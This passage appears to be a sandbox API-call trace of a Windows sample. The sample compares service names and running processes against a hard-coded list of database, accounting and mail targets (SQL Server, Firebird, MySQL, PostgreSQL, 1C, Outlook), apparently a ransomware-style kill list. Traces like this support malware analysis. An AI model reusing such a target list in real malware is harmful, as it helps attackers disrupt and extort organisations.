-1 [0062.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0062.860] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0062.860] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0062.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0062.860] lstrlenW (lpString="LanmanWorkstation") returned 17 [0062.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0062.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0062.860] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0062.860] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0062.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0062.860] lstrlenW (lpString="lmhosts") returned 7 [0062.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0062.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0062.860] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0062.860] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0062.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0062.860] lstrlenW (lpString="MMCSS") returned 5 [0062.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0062.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0062.860] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0062.860] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0062.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0062.860] lstrlenW (lpString="MpsSvc") returned 6 [0062.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0062.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0062.861] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0062.861] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0062.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0062.861] lstrlenW (lpString="Netman") returned 6 [0062.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0062.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0062.861] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0062.861] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0062.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0062.861] lstrlenW (lpString="netprofm") returned 8 [0062.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0062.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0062.861] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0062.861] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0062.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0062.861] lstrlenW (lpString="NlaSvc") returned 6 [0062.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0062.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0062.861] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0062.861] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0062.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0062.861] lstrlenW (lpString="nsi") returned 3 [0062.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0062.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0062.861] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0062.861] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0062.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0062.861] lstrlenW (lpString="PcaSvc") returned 6 [0062.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0062.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0062.861] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0062.861] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0062.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0062.862] lstrlenW (lpString="PlugPlay") returned 8 [0062.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0062.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0062.862] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0062.862] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0062.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0062.862] lstrlenW (lpString="Power") returned 5 [0062.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0062.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0062.862] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0062.862] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0062.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0062.862] lstrlenW (lpString="ProfSvc") returned 7 [0062.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0062.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0062.862] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0062.862] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0062.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0062.862] lstrlenW (lpString="RpcEptMapper") returned 12 [0062.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0062.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0062.862] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0062.862] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0062.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0062.862] lstrlenW (lpString="RpcSs") returned 5 [0062.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0062.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0062.862] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0062.862] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0062.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0062.862] lstrlenW (lpString="SamSs") returned 5 [0062.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0062.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0062.863] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0062.863] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0062.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0062.863] lstrlenW (lpString="Schedule") returned 8 [0062.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0062.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0062.863] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0062.863] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0062.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0062.863] lstrlenW (lpString="SENS") returned 4 [0062.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0062.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0062.863] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0062.863] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0062.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0062.863] lstrlenW (lpString="ShellHWDetection") returned 16 [0062.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0062.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0062.863] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0062.863] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0062.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0062.863] lstrlenW (lpString="Spooler") returned 7 [0062.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0062.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0062.863] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0062.863] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0062.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0062.863] lstrlenW (lpString="SysMain") returned 7 [0062.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0062.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0062.863] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0062.863] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0062.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0062.864] lstrlenW (lpString="Themes") returned 6 [0062.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0062.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0062.864] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0062.864] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0062.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0062.864] lstrlenW (lpString="TrkWks") returned 6 [0062.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0062.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0062.864] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0062.864] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0062.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0062.864] lstrlenW (lpString="UxSms") returned 5 [0062.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0062.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0062.864] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0062.864] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0062.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0062.864] lstrlenW (lpString="VSS") returned 3 [0062.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0062.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0062.864] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0062.864] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0062.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0062.864] lstrlenW (lpString="WdiServiceHost") returned 14 [0062.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0062.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0062.864] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0062.864] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0062.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0062.865] lstrlenW (lpString="WdiSystemHost") returned 13 [0062.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0062.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0062.865] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0062.865] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0062.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0062.865] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0062.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0062.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0062.865] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0062.865] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0062.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0062.865] lstrlenW (lpString="Winmgmt") returned 7 [0062.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0062.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0062.865] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0062.865] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0062.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0062.865] lstrlenW (lpString="WPDBusEnum") returned 10 [0062.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0062.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0062.865] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0062.865] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0062.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0062.865] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x628500 | out: hHeap=0x5d0000) returned 1 [0062.866] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x198 [0062.870] Process32FirstW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0062.870] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0062.871] lstrlenW (lpString="System") returned 6 [0062.871] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0062.871] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0062.871] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0062.871] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0062.871] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0062.871] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0062.871] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0062.871] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0062.871] lstrlenW (lpString="smss.exe") returned 8 [0062.871] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0062.872] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0062.872] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0062.872] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0062.872] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0062.872] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0062.872] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0062.872] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.872] lstrlenW (lpString="csrss.exe") returned 9 [0062.872] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0062.872] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0062.872] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0062.872] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0062.872] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0062.872] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0062.873] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0062.873] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0062.873] lstrlenW (lpString="wininit.exe") returned 11 [0062.873] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0062.873] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0062.873] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0062.873] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0062.873] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0062.873] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0062.873] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0062.874] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.874] lstrlenW (lpString="csrss.exe") returned 9 [0062.874] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0062.874] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0062.875] lstrlenW (lpString="winlogon.exe") returned 12 [0062.875] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0062.875] lstrlenW (lpString="services.exe") returned 12 [0062.875] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0062.876] lstrlenW (lpString="lsass.exe") returned 9 [0062.876] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0062.876] lstrlenW (lpString="lsm.exe") returned 7 [0062.877] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.877] lstrlenW (lpString="svchost.exe") returned 11 [0062.877] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.878] lstrlenW (lpString="svchost.exe") returned 11 [0062.878] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.878] lstrlenW (lpString="svchost.exe") returned 11 [0062.878] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.879] lstrlenW (lpString="svchost.exe") returned 11 [0062.879] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.879] lstrlenW (lpString="svchost.exe") returned 11 [0062.879] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0062.880] lstrlenW (lpString="audiodg.exe") returned 11 [0062.880] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.880] lstrlenW (lpString="svchost.exe") returned 11 [0062.880] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.881] lstrlenW (lpString="svchost.exe") returned 11 [0062.881] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0062.882] lstrlenW (lpString="dwm.exe") returned 7 [0062.882] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0062.882] lstrlenW (lpString="explorer.exe") returned 12 [0062.882] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0062.883] lstrlenW (lpString="spoolsv.exe") returned 11 [0062.883] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.883] lstrlenW (lpString="svchost.exe") returned 11 [0062.883] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0062.884] lstrlenW (lpString="taskhost.exe") returned 12 [0062.884] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0062.884] lstrlenW (lpString="taskeng.exe") returned 11 [0062.884] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoken.exe")) returned 1 [0062.885] lstrlenW (lpString="spoken.exe") returned 10 [0062.885] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cut baby kind.exe")) returned 1 [0062.885] lstrlenW (lpString="cut baby kind.exe") returned 17 [0062.885] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intelligence-jones.exe")) returned 1 [0062.886] lstrlenW (lpString="intelligence-jones.exe") returned 22 [0062.886] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, 